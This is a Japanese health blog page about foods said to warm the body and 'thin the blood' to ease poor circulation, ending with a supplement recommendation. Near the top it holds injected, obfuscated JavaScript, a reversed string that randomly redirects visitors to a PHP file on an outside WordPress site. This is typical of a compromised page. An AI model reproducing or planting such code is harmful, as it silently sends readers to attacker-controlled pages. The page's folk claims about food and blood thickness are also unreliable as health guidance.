冷え性を改善する食べ物

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}top”>冷え性改善には食べ物が重要!

食品には、体を温める食べ物、冷ます食べ物があります。
また、さらにそれぞれ、血液をサラサラにするものとドロドロにするものにわかれます。

当然ですが、冷え性の改善のためには、
体を温めて」「血液をサラサラ」にする食べ物を摂ることが大事です。

体を温める食べ物か冷やす食べ物かを見分ける簡単な方法は、
「夏が旬」・「温かい地域で採れたもの」→体を冷やす
「冬が旬」・「寒い地域で採れたもの」→体を温める
といった傾向があります。

体を温め血液をサラサラにする食べ物

特に効果が高いのは、以下の食品です。
生姜
ニンニク
ネギ
梅干し(温めたもの)

また、根菜類(ごぼう、人参、蓮根、かぼちゃ)なども
体を温め血液をサラサラにする食べ物に分類されます。

体を冷やし血液をドロドロにする食べ物

こちらは、冷え性の方はなるべく食べるのを避けた方が良いものです。
食品添加物
合成甘味料
アイスクリーム
スナック菓子

以上のような、人工的に作られたものは体を冷やし、
さらに血液をドロドロにしてしまうため注意が必要です。

毎日食べ物に気を使うのは大変!

「この食材は体を冷やすから食べられない・・」
なんて考えて食べ物を選ぶのは大変ですよね。

そんな方には、サプリメントがお勧めです
体を温めて血液をサラサラにする、冷え性改善のために
作られたサプリメントがたくさん販売されています。

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サプリメントであれば毎日飲むのは苦ではありませんし、
手軽に続けることができるのでお勧めです!